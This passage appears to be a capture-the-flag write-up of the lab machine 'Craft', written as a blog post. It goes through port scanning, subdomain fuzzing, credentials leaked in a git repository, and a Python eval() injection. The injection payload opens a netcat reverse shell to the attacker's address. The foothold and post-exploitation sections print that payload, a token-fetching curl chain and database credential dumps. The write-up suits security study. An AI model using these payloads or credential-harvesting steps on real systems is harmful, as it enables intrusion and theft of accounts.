worth it.</description><description>
&lt;h2 class="relative group"&gt;Enumeration
 &lt;div id="enumeration" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;

&lt;h3 class="relative group"&gt;nmap
 &lt;div id="nmap" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;I started my nmap scan with &lt;code&gt;sudo nmap -sC -sV -O -Pn 10.129.21.109; sleep 5; sudo nmap -p- -Pn 10.129.21.109; sleep 5; sudo nmap -sU -Pn 10.129.21.109&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;




&lt;div
 id="accordion-644ed5c6c1ae23ee56d2c850c8c4ffb5"
 class="border border-neutral-200 dark:border-neutral-700 rounded-lg overflow-hidden"
 data-accordion="collapse"
 data-accordion-separated="false"
&gt;
 


 










&lt;details
 class="group border-none"
 data-accordion-item
 
&gt;
 &lt;summary class="flex w-full cursor-pointer items-center justify-between gap-4 px-4 py-3 text-left text-lg font-semibold text-neutral-900 dark:text-neutral-100"&gt;
 &lt;span class="flex items-center gap-2"&gt;
 
 &lt;span class="relative block icon"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"&gt;
&lt;path fill="currentColor" d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/&gt;&lt;/svg&gt;&lt;/span&gt;
 
 &lt;span&gt;nmap scan results&lt;/span&gt;
 &lt;/span&gt;
 &lt;span class="accordion-chevron ms-auto flex h-5 w-5 items-center justify-center print:hidden"&gt;
 &lt;span class="relative block icon"&gt;&lt;svg
 xmlns="http://www.w3.org/2000/svg"
 viewBox="0 0 20 20"
 fill="currentColor"
 aria-hidden="true"
&gt;
 &lt;path
 fill-rule="evenodd"
 d="M5.23 7.21a.75.75 0 011.06.02L10 11.168l3.71-3.938a.75.75 0 111.08 1.04l-4.25 4.5a.75.75 0 01-1.08 0l-4.25-4.5a.75.75 0 01.02-1.06z"
 clip-rule="evenodd"
 /&gt;
&lt;/svg&gt;
&lt;/span&gt;
 &lt;/span&gt;
 &lt;/summary&gt;
&lt;div class="px-4 pb-4 text-neutral-700 dark:text-neutral-300"&gt;
 &lt;pre&gt;&lt;code&gt;Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-02 17:39 CEST
Nmap scan report for 10.129.21.109
Host is up (0.028s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
| 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
| 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_ 256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=4/2%OT=22%CT=1%CU=31105%PV=Y%DS=2%DC=I%G=Y%TM=69CE8DD5
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ(
OS:SP=103%GCD=1%ISR=106%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=104%GCD=1%ISR=108%TI=Z%C
OS:I=Z%II=I%TS=A)SEQ(SP=105%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=105%GC
OS:D=2%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M4E2ST11NW7%O2=M4E2ST11NW7%O3=M4E
OS:2NNT11NW7%O4=M4E2ST11NW7%O5=M4E2ST11NW7%O6=M4E2ST11)WIN(W1=FE88%W2=FE88%
OS:W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M4E2NNSNW7%CC
OS:=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T
OS:=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=
OS:0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40
OS:%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.44 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-02 17:40 CEST
Nmap scan report for 10.129.21.109
Host is up (0.029s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
443/tcp open https
6022/tcp open x11

Nmap done: 1 IP address (1 host up) scanned in 14.11 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-02 17:40 CEST
Nmap scan report for 10.129.21.109
Host is up (0.029s latency).
Not shown: 999 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc

Nmap done: 1 IP address (1 host up) scanned in 1008.69 seconds
&lt;/code&gt;&lt;/pre&gt;

 &lt;/div&gt;
&lt;/details&gt;

&lt;/div&gt;

&lt;style&gt;
 #accordion-644ed5c6c1ae23ee56d2c850c8c4ffb5 &gt; details + details {
 border-top: 1px solid rgb(var(--color-neutral-200));
 }
 .dark #accordion-644ed5c6c1ae23ee56d2c850c8c4ffb5 &gt; details + details {
 border-top-color: rgb(var(--color-neutral-700));
 }
&lt;/style&gt;

&lt;style&gt;
 #accordion-644ed5c6c1ae23ee56d2c850c8c4ffb5 details[data-accordion-item] &gt; summary .accordion-chevron {
 transform: rotate(-90deg);
 transition: transform 200ms ease-in-out;
 }
 #accordion-644ed5c6c1ae23ee56d2c850c8c4ffb5 details[data-accordion-item][open] &gt; summary .accordion-chevron {
 transform: rotate(0deg);
 }
&lt;/style&gt;

&lt;script&gt;
 (() =&gt; {
 const root = document.getElementById("accordion-644ed5c6c1ae23ee56d2c850c8c4ffb5");
 if (!root) return;
 const items = root.querySelectorAll("details[data-accordion-item]");
 items.forEach((item) =&gt; {
 item.addEventListener("toggle", () =&gt; {
 if (!item.open) return;
 items.forEach((other) =&gt; {
 if (other !== item) other.removeAttribute("open");
 });
 });
 });
 })();
&lt;/script&gt;


&lt;br&gt;&lt;/p&gt;

&lt;h3 class="relative group"&gt;Port - 6022
 &lt;div id="port---6022" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;I accessed the port 6022 and found this info in a simple clear text&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SSH-2.0-Go
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;��ü)¹)“3bU=²¤���Œcurve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1���ssh-rsa���Maes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128���Maes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128���Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96���Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96���none���none�������������bq¯&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="https://www.speedguide.net/port.php?port=6022" target="_blank" rel="noreferrer"&gt;Speed guide&lt;/a&gt; shows that port 6022 belong to the x11 service which is an X Window System.
&lt;em&gt;&amp;ldquo;The X Window System is a windowing system for bitmap displays, common on Unix-like operating systems.&amp;rdquo; ~ Wikipedia&lt;/em&gt;
&lt;a href="https://www.maketecheasier.com/the-x-window-system/" target="_blank" rel="noreferrer"&gt;Here&lt;/a&gt; is a good read on the basic concept of x11.&lt;/p&gt;

&lt;h3 class="relative group"&gt;craft.htb
 &lt;div id="crafthtb" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;The website on 443 at first didn&amp;rsquo;t work for me but now I can view it.
Front page suggest that we will work with some API calls. both menu options use two new subdomains &amp;ldquo;api.craft.htb&amp;rdquo; and &amp;ldquo;gogs.craft.htb&amp;rdquo;. I will add them to my &lt;code&gt;/etc/hosts&lt;/code&gt; and run &lt;code&gt;ffuf&lt;/code&gt; to look for any other subdomains and to enumerate directories.
&lt;code&gt;ffuf -u https://craft.htb/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 291&lt;/code&gt;
&lt;code&gt;ffuf -u https://craft.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H &amp;quot;Host: FUZZ.craft.htb&amp;quot; -fs 3779&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;I also didn&amp;rsquo;t find any comments on the main website, it does use nginx 1.15.8.&lt;/p&gt;
&lt;p&gt;api subdomain hosts different api calls. Two interesting one are authentication check to check validity of an authorization token and the authentication login to create the said token.
gogs is a local git repo tools. I found some users related to it&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-Users" data-lang="Users"&gt;administrator
ebachman Erlich Bachman
dinesh Dinesh Chugtai
gilfoyle Bertram Gilfoyle&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I suspect there will be some API keys, tokens or creds in the repository by accident. I found a discussion about adding bogus ABV values; it was partially patched but still seems insecure, making it a potential attack vector for exploring API behavior.&lt;/p&gt;

&lt;h2 class="relative group"&gt;Foothold
 &lt;div id="foothold" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;
&lt;p&gt;I this issue we can see this command holding a JWT token (JSON Web Token).
&lt;code&gt;curl -H 'X-Craft-API-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw' -H &amp;quot;Content-Type: application/json&amp;quot; -k -X POST https://api.craft.htb/api/brew/ --data '{&amp;quot;name&amp;quot;:&amp;quot;bullshit&amp;quot;,&amp;quot;brewer&amp;quot;:&amp;quot;bullshit&amp;quot;, &amp;quot;style&amp;quot;: &amp;quot;bullshit&amp;quot;, &amp;quot;abv&amp;quot;: &amp;quot;15.0&amp;quot;)}'&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;These tokens have three parts:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9&lt;/code&gt; - Header&lt;/li&gt;
&lt;li&gt;&lt;code&gt;eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0&lt;/code&gt; - Payload&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw&lt;/code&gt; - Signature&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Depending on the cryptographic in place I could crack it, but I&amp;rsquo;d need to look into that more. Let&amp;rsquo;s check other information that we can find.&lt;/p&gt;
&lt;p&gt;Later on that issue one of the users shows a commit with this patch which another developer find bad&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;+ # make sure the ABV value is sane.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;+ if eval(&amp;#39;%s &amp;gt; 1&amp;#39; % request.json[&amp;#39;abv&amp;#39;]):
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;+ return &amp;#34;ABV must be a decimal value less than 1.0&amp;#34;, 400
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;+ else:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;+ create_brew(request.json)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;+ return None, 201&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This is Python script, it checks if the user provided &amp;ldquo;abv&amp;rdquo; input is higher than 1, and depending on result of this check creates given outcomes.
There are two interesting parts of the script for us. It uses &lt;code&gt;eval()&lt;/code&gt; which is a known dangerous function in a number of different programming languages.It&amp;rsquo;s dangerous because it runs string data as an executable instruction.
The second interesting part is that &lt;code&gt;request.json['abv'])&lt;/code&gt; plainly outputs unfiltered user output into the command.
Both of these weakness are bad on their own as one gives a possibility of command execution and another of command injection. Together they are a really great foothold opportunity.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;parrot@parrot (~): curl -H &amp;#39;X-Craft-API-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw&amp;#39; -H &amp;#34;Content-Type: application/json&amp;#34; -k -X POST https://api.craft.htb/api/brew/ --data &amp;#39;{&amp;#34;name&amp;#34;:&amp;#34;a&amp;#34;,&amp;#34;brewer&amp;#34;:&amp;#34;a&amp;#34;,&amp;#34;style&amp;#34;:&amp;#34;a&amp;#34;,&amp;#34;abv&amp;#34;:&amp;#34;__import__(\&amp;#34;os\&amp;#34;).system(\&amp;#34;id\&amp;#34;)&amp;#34;}&amp;#39; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&amp;#34;message&amp;#34;: &amp;#34;Invalid token or no token found.&amp;#34;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;To try and attempt to exploit this vulnerability I&amp;rsquo;d have to have a valid token, meaning I&amp;rsquo;d have to find a not expired one in the wild or generate one which requires credentials.&lt;/p&gt;
&lt;p&gt;I looked through the issues, repository and finally the commits and found some accidentally pushed credentials - dinesh:4aUh0A8PbVJxgd.&lt;/p&gt;
&lt;p&gt;I used them to create my token request at the api dashboard.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TOKEN=$(curl -s -k -X GET &amp;#34;https://dinesh:4aUh0A8PbVJxgd@api.craft.htb/api/auth/login&amp;#34; -H &amp;#34;accept: application/json&amp;#34; | jq -r &amp;#39;.token&amp;#39;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Now when I try to exploit the vulnerable code my token goes through and I can test my injection payloads.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -H &amp;#39;X-Craft-API-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNzc1MjA2MjQzfQ.1MRivtSjMK8IJKagIWHZRtp7M_632Rhp0vEk84UKYmU&amp;#39; -H &amp;#34;Content-Type: application/json&amp;#34; -k -X POST https://api.craft.htb/api/brew/ --data &amp;#39;{&amp;#34;name&amp;#34;:&amp;#34;a&amp;#34;,&amp;#34;brewer&amp;#34;:&amp;#34;a&amp;#34;,&amp;#34;style&amp;#34;:&amp;#34;a&amp;#34;,&amp;#34;abv&amp;#34;:&amp;#34;__import__(&amp;#34;os&amp;#34;).system(&amp;#34;id&amp;#34;)&amp;#34;}&amp;#39; &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This works too:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-JSON" data-lang="JSON"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;TOKEN=$(curl&lt;/span&gt; &lt;span class="err"&gt;-s&lt;/span&gt; &lt;span class="err"&gt;-k&lt;/span&gt; &lt;span class="err"&gt;-X&lt;/span&gt; &lt;span class="err"&gt;GET&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;https://dinesh:4aUh0A8PbVJxgd@api.craft.htb/api/auth/login&amp;#34;&lt;/span&gt; &lt;span class="err"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;accept: application/json&amp;#34;&lt;/span&gt; &lt;span class="err"&gt;|&lt;/span&gt; &lt;span class="err"&gt;jq&lt;/span&gt; &lt;span class="err"&gt;-r&lt;/span&gt; &lt;span class="err"&gt;&amp;#39;.token&amp;#39;);&lt;/span&gt; &lt;span class="err"&gt;\&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;curl&lt;/span&gt; &lt;span class="err"&gt;-X&lt;/span&gt; &lt;span class="err"&gt;POST&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;https://api.craft.htb/api/brew/&amp;#34;&lt;/span&gt; &lt;span class="err"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;accept: application/json&amp;#34;&lt;/span&gt; &lt;span class="err"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Content-Type: application/json&amp;#34;&lt;/span&gt; &lt;span class="err"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;{
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;\&amp;#34;id\&amp;#34;: 0,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;\&amp;#34;brewer\&amp;#34;: \&amp;#34;0xdf\&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;\&amp;#34;name\&amp;#34;: \&amp;#34;beer\&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;\&amp;#34;style\&amp;#34;: \&amp;#34;bad\&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;\&amp;#34;abv\&amp;#34;: \&amp;#34;__import__(&amp;#39;os&amp;#39;).system(&amp;#39;nc 10.10.15.189 1337 -e /bin/sh&amp;#39;)\&amp;#34;}&amp;#34;&lt;/span&gt; &lt;span class="err"&gt;-k&lt;/span&gt; &lt;span class="err"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;X-CRAFT-API-TOKEN: $TOKEN&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;And this, finally works!&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-JSON" data-lang="JSON"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;TOKEN=$(curl&lt;/span&gt; &lt;span class="err"&gt;-s&lt;/span&gt; &lt;span class="err"&gt;-k&lt;/span&gt; &lt;span class="err"&gt;-X&lt;/span&gt; &lt;span class="err"&gt;GET&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;https://dinesh:4aUh0A8PbVJxgd@api.craft.htb/api/auth/login&amp;#34;&lt;/span&gt; &lt;span class="err"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;accept: application/json&amp;#34;&lt;/span&gt; &lt;span class="err"&gt;|&lt;/span&gt; &lt;span class="err"&gt;jq&lt;/span&gt; &lt;span class="err"&gt;-r&lt;/span&gt; &lt;span class="err"&gt;&amp;#39;.token&amp;#39;);&lt;/span&gt; &lt;span class="err"&gt;\&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;curl&lt;/span&gt; &lt;span class="err"&gt;-X&lt;/span&gt; &lt;span class="err"&gt;POST&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;https://api.craft.htb/api/brew/&amp;#34;&lt;/span&gt; &lt;span class="err"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;accept: application/json&amp;#34;&lt;/span&gt; &lt;span class="err"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Content-Type: application/json&amp;#34;&lt;/span&gt; &lt;span class="err"&gt;-d&lt;/span&gt; &lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;id&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;brewer&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;0xdf&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;beer&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;style&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;bad&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;&amp;#34;abv&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;__import__(\&amp;#34;os\&amp;#34;).system(\&amp;#34;nc 10.10.15.189 1337 -e /bin/sh\&amp;#34;)&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt; &lt;span class="err"&gt;-k&lt;/span&gt; &lt;span class="err"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;X-CRAFT-API-TOKEN: $TOKEN&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I had a surprising amount of problems with quotation marks and escaping them correctly. I spent a lot of time tweaking these commands and breaking down the api logic locally.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;For practice and better understanding of working with API, HTTP requests and Python I created a working script that exploits this vulnerability.
The only requirements are to add &lt;code&gt;api.craft.htb&lt;/code&gt; into the &lt;code&gt;/etc/hosts&lt;/code&gt; and &lt;code&gt;python3&lt;/code&gt; to run it - you can view it on my &lt;a href="https://codeberg.org/EmilPawlak/Craft-HTB" target="_blank" rel="noreferrer"&gt;Codeberg&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 class="relative group"&gt;root
 &lt;div id="root" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;With this behind us we got a limited shell of the &lt;code&gt;5a3d243127f5&lt;/code&gt; host on which we are &lt;code&gt;root&lt;/code&gt;. Looking the root directory we can see the &lt;code&gt;.dockerenv&lt;/code&gt; folder hinting that we&amp;rsquo;re inside of a container. Manual enumeration doesn&amp;rsquo;t show any interesting vectors besides the webapp files. In them we find &lt;code&gt;dbtest.py&lt;/code&gt; which is a file we saw on gogs, it creates a query to a db from the POST data it gets. Database details like the credentials, destination and it&amp;rsquo;s name are said to be in some &lt;code&gt;settings&lt;/code&gt; file. Moving into &lt;code&gt;craft_api&lt;/code&gt; folder we can indeed find it. Inside, we can find the database details and a service token.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-Loot" data-lang="Loot"&gt;MYSQL_DATABASE_USER = &amp;#39;craft&amp;#39;
MYSQL_DATABASE_PASSWORD = &amp;#39;qLGockJ6G2J75O&amp;#39;
CRAFT_API_SECRET = &amp;#39;hz66OCkDtv8G6D&amp;#39;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 class="relative group"&gt;craft
 &lt;div id="craft" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;I first tried to use mysql locally - but it isn&amp;rsquo;t installed - and call it remotely with &lt;code&gt;mysql -u craft -pqLGockJ6G2J75O -h 10.129.22.88&lt;/code&gt; - but this doesn&amp;rsquo;t work and hangs my shell. This is because the database isn&amp;rsquo;t local, it&amp;rsquo;s in fact on the &lt;code&gt;db&lt;/code&gt; host which I assume is the Docker daemon.
Due to the fact that my shell is connected to a simple web request it&amp;rsquo;s limited by the timeout time of the web server which is approximately 60 seconds. Due to that limitation, I was thinking how to best access the database. As my shell access was somewhat flimsy I didn&amp;rsquo;t want to bother setting up a chisel tunnel and work with transferring files - which also ruled out downloading &lt;code&gt;mysql&lt;/code&gt; and similar tooling.
What I stumbled upon was &lt;code&gt;pymysql&lt;/code&gt; which is a python library for working with sql. As the whole box is somehow very Python for me from start until now, I decided to try it out.&lt;/p&gt;
&lt;p&gt;With my 60 second window of opportunity I tested my commands and came up with a working one.
&lt;code&gt;python -c &amp;quot;import pymysql; c=pymysql.connect(host='db',user='craft',password='qLGockJ6G2J75O',db='craft'); cur=c.cursor(); cur.execute('SHOW TABLES'); print(cur.fetchall())&amp;quot;&lt;/code&gt;
This command imports &lt;code&gt;pymysql&lt;/code&gt;, connects to the database, creates a cursor which is a Python object that channels and sends the SQL queries to the database as well as simply show the queried data. You just need to adjust the query in the cursor and you can fetch any details from the database.
Output from the above query showed me that there are two tables &lt;code&gt;brew&lt;/code&gt; and &lt;code&gt;user&lt;/code&gt;. Of course the latter is more interesting for us, so I ran another query.
&lt;code&gt;python -c &amp;quot;import pymysql; c=pymysql.connect(host='db',user='craft',password='qLGockJ6G2J75O',db='craft'); cur=c.cursor(); cur.execute('SELECT * FROM user'); print(cur.fetchall())&amp;quot;&lt;/code&gt;
Which gave as further credentials:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-Loot" data-lang="Loot"&gt;((1, &amp;#39;dinesh&amp;#39;, &amp;#39;4aUh0A8PbVJxgd&amp;#39;), (4, &amp;#39;ebachman&amp;#39;, &amp;#39;llJ77D8QFkLPQB&amp;#39;), (5, &amp;#39;gilfoyle&amp;#39;, &amp;#39;ZEU3N8WNM2rh4T&amp;#39;))&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Let&amp;rsquo;s try to access SSH with them.&lt;/p&gt;

&lt;h3 class="relative group"&gt;gilfoyle
 &lt;div id="gilfoyle" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;Sadly both on the normal port 22 and on the SSH via Go port 6022 I was unable to use it. There is however a login form on gogs.
I found two public keys for the users, likely for authentication to gogs, nothing special, especially without the private keys.&lt;br&gt;
dinesh: &lt;code&gt;SHA256:8Fc2kZiv0Y+kjkh8atKr6brzBiM1DoDIhG6LN1ktPfA&lt;/code&gt;&lt;br&gt;
gilfoyle: &lt;code&gt;SHA256:D28DXyVaw0/mPuLBp3mDbS8z6oCRKS1hawJ5gxecFBQ&lt;/code&gt;&lt;/p&gt;
